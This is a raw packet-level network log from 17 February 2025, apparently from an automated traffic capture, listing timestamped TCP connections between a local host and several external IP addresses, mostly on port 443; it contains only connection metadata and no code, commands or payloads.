Feb 17, 2025 14:27:39.787666082 CET	49708	80	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.832596064 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.832633972 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:39.853605986 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.853652000 CET	443	49716	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.853713989 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.853923082 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.854043007 CET	443	49717	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.854708910 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.854897976 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.854917049 CET	443	49716	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.855778933 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:39.855817080 CET	443	49717	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:39.987447977 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:39.987483025 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.005685091 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:40.126348019 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.126385927 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.126408100 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.126444101 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.126483917 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:40.126507998 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.126524925 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.126548052 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:40.126576900 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:40.127906084 CET	49712	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:40.127927065 CET	443	49712	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:40.158582926 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.158620119 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.158684969 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.159137964 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.159154892 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.159627914 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.159638882 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.159734011 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.159944057 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.159956932 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.169847965 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:40.353233099 CET	443	49717	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.357136011 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.357156038 CET	443	49717	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.358277082 CET	443	49717	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.358360052 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.359882116 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.359949112 CET	443	49717	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.366314888 CET	443	49716	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.366507053 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.366533041 CET	443	49716	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.367593050 CET	443	49716	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.367660999 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.368052006 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.368119001 CET	443	49716	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.464510918 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.464548111 CET	443	49716	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.507687092 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.507711887 CET	443	49717	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:40.585460901 CET	49716	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.624759912 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.625016928 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.625036001 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.625960112 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.626030922 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.627063990 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.627118111 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.627252102 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.627262115 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.638101101 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.638320923 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.638330936 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.639594078 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.639653921 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.640661001 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.640732050 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.640822887 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.640831947 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.695647001 CET	49717	443	192.168.2.5	192.185.98.73
Feb 17, 2025 14:27:40.703078032 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.703099012 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.752749920 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.752785921 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.752860069 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.752923012 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.753962994 CET	49719	443	192.168.2.5	104.18.187.31
Feb 17, 2025 14:27:40.753983021 CET	443	49719	104.18.187.31	192.168.2.5
Feb 17, 2025 14:27:40.767010927 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.767173052 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.767251968 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.767503023 CET	49718	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.767514944 CET	443	49718	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.769334078 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.769368887 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.769604921 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.769857883 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:40.769877911 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:40.779941082 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:40.779974937 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:40.780057907 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:40.780412912 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:40.780431986 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:41.230324984 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.230907917 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.230938911 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.232124090 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.232455015 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.232598066 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.232604027 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.232630014 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.236351967 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:41.236675978 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:41.236696005 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:41.237584114 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:41.237698078 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:41.238770008 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:41.238825083 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:41.238897085 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:41.238908052 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:41.288927078 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.288996935 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:41.371752024 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.371948004 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.372035027 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.372076035 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.372124910 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.372183084 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.372189045 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.372273922 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.372317076 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.372322083 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.372421980 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.372468948 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.372473955 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.376427889 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.376513004 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.376590967 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.376597881 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.376632929 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.458189964 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458379030 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458471060 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458491087 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.458524942 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458619118 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458664894 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.458673000 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458811998 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458854914 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.458859921 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.458893061 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.458897114 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.459013939 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.459079981 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.459084034 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.459705114 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.459753990 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.459760904 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.459856033 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.459958076 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.460005999 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.460012913 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.460495949 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.460540056 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.460700035 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.460740089 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.460746050 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.460845947 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.460886002 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.460891008 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.461563110 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.461647987 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.461697102 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.461710930 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.461882114 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.461926937 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.485085011 CET	49720	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.485129118 CET	443	49720	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.816128016 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.816226959 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.816318035 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.817198038 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:41.817234039 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:41.921411991 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:41.921453953 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:41.921519041 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:41.921803951 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:41.921817064 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.028012037 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:42.028079033 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:42.028129101 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:42.028142929 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:42.028156996 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:42.028213978 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:42.029467106 CET	49721	443	192.168.2.5	151.101.1.229
Feb 17, 2025 14:27:42.029481888 CET	443	49721	151.101.1.229	192.168.2.5
Feb 17, 2025 14:27:42.289731979 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.290116072 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.290186882 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.291254997 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.291374922 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.291742086 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.291821957 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.291912079 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.291929007 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.334522009 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.409502029 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.409974098 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.409996033 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.413718939 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.413809061 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.414212942 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.414298058 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.414370060 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.414382935 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.420979023 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:42.421014071 CET	443	49726	216.58.206.68	192.168.2.5
Feb 17, 2025 14:27:42.421087027 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:42.421279907 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:42.421295881 CET	443	49726	216.58.206.68	192.168.2.5
Feb 17, 2025 14:27:42.437877893 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.437953949 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.437983036 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438010931 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438010931 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.438038111 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438087940 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438127995 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.438153982 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.438332081 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438384056 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438407898 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438433886 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.438450098 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.438509941 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.442653894 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.463603020 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.490865946 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.490937948 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528382063 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528419971 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528450012 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528451920 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.528531075 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528565884 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.528804064 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528837919 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528865099 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.528871059 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528882980 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528918982 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.528925896 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.528976917 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.528994083 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.529730082 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.529793024 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.529885054 CET	49723	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.529918909 CET	443	49723	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.560682058 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.560801029 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.560864925 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.560887098 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.560965061 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.561013937 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.561022997 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.561111927 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.561156988 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.561168909 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.561250925 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.561311960 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.561319113 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.561397076 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.561445951 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.561453104 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.610975027 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.610990047 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653120041 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653193951 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.653207064 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653341055 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653388977 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.653397083 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653481007 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653526068 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.653533936 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653616905 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.653678894 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.653687000 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.654300928 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.654351950 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.654360056 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.654445887 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.654494047 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.654501915 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.654594898 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.654656887 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.654665947 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.655225992 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.655277967 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.655284882 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.655380964 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.655426025 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.655433893 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.656001091 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.656049967 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.656058073 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.656142950 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.656198025 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.656205893 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.657758951 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.657820940 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.657829046 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.657983065 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.658036947 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.658807039 CET	49724	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:42.658826113 CET	443	49724	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:42.699574947 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.699625969 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.699700117 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.699980021 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.699991941 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.719407082 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.719463110 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:42.719571114 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.719935894 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:42.719954967 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.061539888 CET	443	49726	216.58.206.68	192.168.2.5
Feb 17, 2025 14:27:43.061821938 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:43.061846018 CET	443	49726	216.58.206.68	192.168.2.5
Feb 17, 2025 14:27:43.063283920 CET	443	49726	216.58.206.68	192.168.2.5
Feb 17, 2025 14:27:43.063393116 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:43.064317942 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:43.064392090 CET	443	49726	216.58.206.68	192.168.2.5
Feb 17, 2025 14:27:43.114562035 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:43.114584923 CET	443	49726	216.58.206.68	192.168.2.5
Feb 17, 2025 14:27:43.159956932 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.160270929 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.160311937 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.161082029 CET	49726	443	192.168.2.5	216.58.206.68
Feb 17, 2025 14:27:43.161405087 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.165497065 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.165647030 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.165752888 CET	49728	443	192.168.2.5	104.18.95.41
